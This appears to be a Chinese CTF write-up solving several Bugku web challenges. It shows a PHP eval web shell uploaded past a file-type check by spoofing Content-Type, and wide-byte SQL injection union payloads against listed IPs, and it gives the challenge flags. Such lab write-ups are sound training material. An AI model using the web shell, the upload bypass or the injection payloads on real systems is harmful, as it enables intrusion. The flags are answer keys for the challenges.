#web2

F12查看网页源代码得到Flag
KEY{Web-2-bugKssNNikls9100}

#文件上传测试

要求上传php文件

1
2
3
<?php
eval($_POST[1]);
?>

抓包 提示:非图片文件
修改 Content-Type: image/png
upload successful
Flag:42e97d465f962c53df9549377b513c7e

#计算器

F12查看网页源代码 修改input框的maxlength=10000
再输入正确答案168得到Flag
flag{CTF-bugku-0032}

#web基础$_GET

1
2
3
4
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

构造payloadhttp://120.24.86.145:8002/get/?what=flag
flag{bugku_get_su8kej2en}

#web基础$_POST

使用Postman来post数据
upload successful
flag{bugku_get_ssseint67se}

#矛盾

1
2
3
4
5
6
7
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

php精度(16以上
var_dump(9999999999999999999==1);//true
构造payloadhttp://120.24.86.145:8002/get/index1.php?num=1e
flag{bugku-789-ps-ssdf}

#web3

火狐插件noscript插件来禁止js
发现一串转义序列
&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;
python脚本如下

1
2
3
4
import HTMLParser
parser = HTMLParser.HTMLParser()
s='&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;'
print parser.unescape(s)

KEY{J2sa42ahJK-HS11III}

#sql注入

查看源代码 猜想宽字节注入
upload successful
构造payload http://103.238.227.13:10083/?id=1%df%27
报错 确定为宽字节注入
upload successful
根据题目Tips 查询key表,id=1的string字段
构造payload http://103.238.227.13:10083/?id=1%df%27 union select string from key%23
报错 key即是字段名又是表名冲突 加反单引号将key确认为表名
upload successful
构造payload

1
2
3
报错 select的列数不匹配
![upload successful](/images/pasted-42.png)
构造payload ```http://103.238.227.13:10083/?id=1%df%27 union select 1,string from `key`%23

KEY{54f3320dc261f313ba712eb3f13a1f6d}